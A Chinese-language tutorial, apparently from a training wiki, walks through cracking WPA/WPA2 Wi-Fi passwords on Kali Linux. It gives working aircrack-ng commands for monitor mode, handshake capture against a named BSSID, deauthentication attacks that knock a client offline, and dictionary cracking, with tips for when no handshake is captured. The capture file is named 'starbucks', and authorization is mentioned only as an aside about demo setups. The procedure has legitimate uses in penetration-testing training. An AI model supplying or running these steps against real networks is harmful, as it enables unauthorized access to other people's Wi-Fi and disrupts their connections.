kali暴破Wifi流程：aireplay-ng抓不到握手包aircrack-ng

外置无线网卡扫不到wifi问题
https://wiki.bafangwy.com/doc/133/

# 暴破流程：
## 1、购买一个无线网卡
网卡必须支持「监听模式 + 数据帧注入」，推荐 RT3070/RTL8812AU/AR9271 这类免驱芯片
例如：
https://wiki.bafangwy.com/doc/200

## 2、把无线网卡连接到kali虚拟机

插上无线网卡：

![](/media/202507/2025-07-28_164552_3597830.6417023882808.jpeg)

或者：

![](/media/202507/2025-07-28_164529_0483850.44079216207378813.png)

## 3、查看网卡是否识别
命令：
`ifconfig`

看到`wlan0`就是正常的。
看不到`wlan0`就是网卡没连上

## 4、清除进程
`airmon-ng check kill`

## 5、开启网卡监听
`airmon-ng start wlan0`

## 6、开始扫描wifi
`airodump-ng wlan0mon`

出现目标WiFi名称后，按Ctrl+C终止。

需要记录：
• 目标 BSSID（MAC）
• CH（信道）

## 7、抓包
（保持这个终端窗口）
`airodump-ng --bssid A4:1A:3A:05:AB:C3 -c 6 -w starbucks wlan0mon`

`--bssid`后面是是SSID
`-c`后面是channel频道
`-w`后面的`starbucks`是保存的`.cap`文件名

当用户掉线以后，再次连接，就会抓到握手包。出现Handshake即可按Ctrl+C停止

（演示环境下也可以直接用手机活电脑重连WiFi，方便抓到握手包）

## 8、强制用户重连

新开一个终端窗口 —— 给客户端发送断开连接的数据包

`aireplay-ng -0 10 -a A4:1A:3A:05:AB:C3 -c 7E:82:9E:BE:09:A5 wlan0mon`

含义：
`-0 10` 发送 10 个 DeAuth 包，让客户端掉线重连。
`-a` 后面的SSID是路由器的ID
`-c` 后面的SSID是连接客户端的ID（手机或者电脑），前一步结果有多个时，任选其中一个

这一步是为了前面的窗口抓到握手包。
当上一步的窗口出现Handshake即可按Ctrl+C停止。
`ls`查看捕获的包文件。

## 9、准备一个密码字典
比如wifipass.txt，里面有一些常用的wifi密码

## 10、开始爆破

因为密码字典在当前路径下，用的是名称。
如果在其他路径，需要写全路径。
`aircrack-ng -a2 -b A4:1A:3A:05:AB:C3 -w wifipass.txt starbucks-01.cap`

`-a2` 固定写`2`，代表 WPA/WPA2
`-w`后面指定的是密码字典文件

暴破成功：显示 `KEY FOUND！`

# aireplay-ng抓不到握手包aircrack-ng 主要原因
1、WiFi信号太弱 —— 把路由器放近点
2、频段设置错误 —— 检查channel(-c)参数
3、客户端当前没有进行WPA握手

------------

外置无线网卡扫不到wifi问题
https://wiki.bafangwy.com/doc/133/